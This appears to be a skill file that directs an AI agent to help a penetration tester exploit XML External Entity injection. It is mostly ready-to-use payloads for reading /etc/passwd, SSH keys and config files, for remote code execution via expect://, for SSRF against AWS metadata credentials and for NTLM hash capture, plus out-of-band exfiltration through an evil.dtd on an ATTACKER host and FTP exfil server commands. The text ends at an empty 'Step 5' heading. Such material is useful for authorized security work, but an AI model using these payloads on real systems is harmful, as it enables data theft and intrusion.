/xxe

name: xxe
description: >
  Guide XML External Entity (XXE) injection exploitation during authorized
  penetration testing.
keywords:
  - XXE
  - XML injection
  - XML external entity
  - DTD injection
  - XML entity expansion
  - blind XXE
  - OOB XXE
  - out-of-band XXE
  - error-based XXE
  - XInclude
  - SVG XXE
  - DOCX XXE
  - XLSX XXE
  - SOAP XXE
tools:
  - burpsuite
  - xxeserv
  - oxml_xxe
  - interactsh
opsec: medium

XML External Entity (XXE) Injection

You are helping a penetration tester exploit XXE injection. The target application parses XML input without disabling external entity resolution. The goal is to read files, perform SSRF, or achieve remote code execution via entity processing. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[xxe] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• An endpoint that parses XML (POST body, file upload, SOAP, SAML, RSS/Atom feed)
• Common vulnerable surfaces: XML APIs, file import (DOCX/XLSX/SVG), SOAP services,

SAML SSO, XML-RPC, content-type switchable endpoints (JSON → XML)

Step 1: Assess

If not already provided, determine: 1. **Injection surface** — direct XML body, file upload, SOAP envelope, SAML assertion, parameter within XML 2. **Parser technology** — PHP (libxml2), Java (DocumentBuilder, SAX, JAXB), .NET (XmlDocument, XmlReader), Python (lxml, etree) 3. **Reflection** — is entity content reflected in the response? (classic vs blind) 4. **Outbound connectivity** — can the server make HTTP/DNS/FTP requests outbound?

Quick detection probe (replace entity in a reflected field):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe "testvalue123">]>
<root><field>&xxe;</field></root>

If `testvalue123` appears in the response, the parser resolves entities — proceed to Step 2. If not reflected, skip to Step 4 (blind).

Skip assessment if context was already provided.

Step 2: Classic XXE (File Read)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><field>&xxe;</field></root>

Swap the ENTITY URI for other targets. All variations below use this same wrapper.

<!-- Windows -->
<!ENTITY xxe SYSTEM "file:///c:/windows/system32/drivers/etc/hosts">

<!-- PHP base64 (avoids XML special char issues with <, &) -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">

<!-- PHP expect (RCE — requires expect extension) -->
<!ENTITY xxe SYSTEM "expect://id">

<!-- Java directory listing (file:// on a directory lists contents) -->
<!ENTITY xxe SYSTEM "file:///">
<!ENTITY xxe SYSTEM "file:///etc/">

**Useful targets — Linux:** `/etc/passwd`, `/etc/hostname`, `/proc/self/environ`, `/home/<user>/.ssh/id_rsa`, `/var/www/html/config.php`

**Windows:** `C:\windows\win.ini`, `C:\inetpub\wwwroot\web.config`

Step 3: XXE to SSRF

Use the same wrapper from Step 2 with HTTP/UNC URIs:

<!-- Internal resource access -->
<!ENTITY xxe SYSTEM "http://internal.service:8080/admin">

<!-- AWS IMDSv1 — enumerate roles, then fetch credentials -->
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME">

<!-- NTLM hash capture (Windows — set up Responder first) -->
<!ENTITY xxe SYSTEM "file://///ATTACKER_IP/share/test.jpg">

Step 4: Blind XXE (Out-of-Band)

When entity content is not reflected in the response.

OOB Detection (Ping)

General entity — triggers HTTP callback:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://CALLBACK.burpcollaborator.net">
]>
<root><field>&xxe;</field></root>

Parameter entity — works when general entities are blocked:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://CALLBACK.burpcollaborator.net/detect">
  %xxe;
]>
<root></root>

If you receive a callback, the parser resolves external entities — proceed to exfiltration.

OOB Exfiltration via External DTD

XML payload (send to target):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % dtd SYSTEM "http://ATTACKER/evil.dtd">
  %dtd;
]>
<root></root>

Host `evil.dtd` on your server:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://ATTACKER/?data=%file;'>">
%eval;
%exfil;

Data arrives as a query parameter in your HTTP logs.

**Limitation**: HTTP exfiltration breaks on multi-line files. Workarounds:

• **PHP**: swap file entity to `php://filter/convert.base64-encode/resource=/etc/passwd`
• **FTP**: swap exfil URI to `ftp://ATTACKER:2121/%file;` — FTP handles newlines

(required for Java targets)

FTP server for OOB:

xxeserv -o files.log -p 2121 -w -wd public -wp 8000    # staaldraad/xxeserv
python3 230-OOB.py 2121                                  # lc/230-OOB

Step 5: Error-Based XXE